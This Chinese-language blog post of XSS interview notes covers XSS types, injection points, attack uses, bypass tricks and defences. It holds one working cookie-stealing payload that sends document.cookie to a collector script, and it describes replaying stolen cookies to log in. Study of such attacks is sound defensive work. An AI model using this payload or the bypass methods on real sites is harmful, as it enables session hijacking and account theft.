XSS常见问题
-
XSS原理
web应用程序对输入和输出没有进行严格过滤、攻击者可以插入构造的恶意javascript脚本,当正常用户浏览网页时,被浏览器当作有效代码解析执行,盗取用户数据或执行其他恶意操作。 -
DOM型xss漏洞容易出现的地方有哪些?
1、可以被innerHTML或outerHTML属性修改的节点:节点如果没有对输入进行恰当的转义或清理就可能存在。
2、可以插入script标签属性的节点:如src、href、onerror、onclick等
3、console.log()
4、document.writer():使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie
<script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php? cookie='+document.cookie+'"/>')</script>
-
XSS获取cookie后如何利用
通过burpsuite抓包、改包、利用成功获取到的cookie值进行登录。 -
XSS漏洞的分类
反射型、存储型、DOM型
反射型和DOM型都是一次的,反射型要发送到服务器读取,DOM型数据仅在前端解析,不发送到服务器
存储型插入到数据库,可以多次利用,持续时间长
反射型最多
DOM型就是JavaScript中的Document对象Html注入,直接浏览器处理。 -
XSS常见的利用方式
利用XSS进行钓鱼、盗取cookie信息、盗取用户身份信息进行非法操作、传播恶意代码、弹广告刷流量、篡改页面信息、删除文章、获取客户端信息、传播蠕虫。 -
XSS常见绕过方式
大小写、双写、编码、属性、javascript伪协议、 -
XSS可能存在点?
一般涉及到数据交互的地方,服务器读取客户端提交的数据并返回读取到数据到前端HTML页面。如注册处、留言板、文章标题、评论区、查询信息后返回前端显示
个人信息、订单信息、搜索框、表单、私信、意见反馈、目录
各种输入的点、名称、上传、留言、可交互的地方。 -
XSS防御
对输出编码、对输入过滤、设置白名单
对cookie值设置Httponly属性
DOM型对插入HTML进行转义
禁止外联脚本和未授权脚本
设置WAF防火墙 -
XSS与CSRF区别
XSS是利用漏洞盗取用户权限进行攻击,不需要用户登录;CSRF需要在用户登录的情况下诱骗用户点击恶意链接,借助用户的权限完成攻击,并没有拿到用户权限。 -
如何理解XSS攻击
是一种被动性,在不知道的情况下触发类似无感型,在渗透很多情况下平常的渗透手段以及取得目标的信息,而XSS就能轻松获取,XSS比较有针对性。 -
输出到href的XSS如何防御
1、对输入验证:
白名单验证:只允许特定格式的URL(如http://、https://)
黑名单过滤:禁止使用javascript:等危险协议
2、对输出编码:对输出的href的内容进行编码,防止恶意脚本注入
3、使用安全库处理URL,确保安全性
4、设置CSP头,限制页面中可执行的脚本来源,防止XSS攻击。
5、使用现代框架的内置防护机制,自动处理XSS -
XSS危害
1、盗取各种用户账号,网站钓鱼
2、窃取用户Cookie资料,冒充用户身份进入网站
3、劫持用户会话,执行任意操作
4、刷流量、执行弹框广告
5、传播蠕虫病毒 -
XSS不同类型如何区分
存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;
反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;
DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;
本文作者:予遂计划
本文链接:https://www.cnblogs.com/ysjh/p/18586829
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步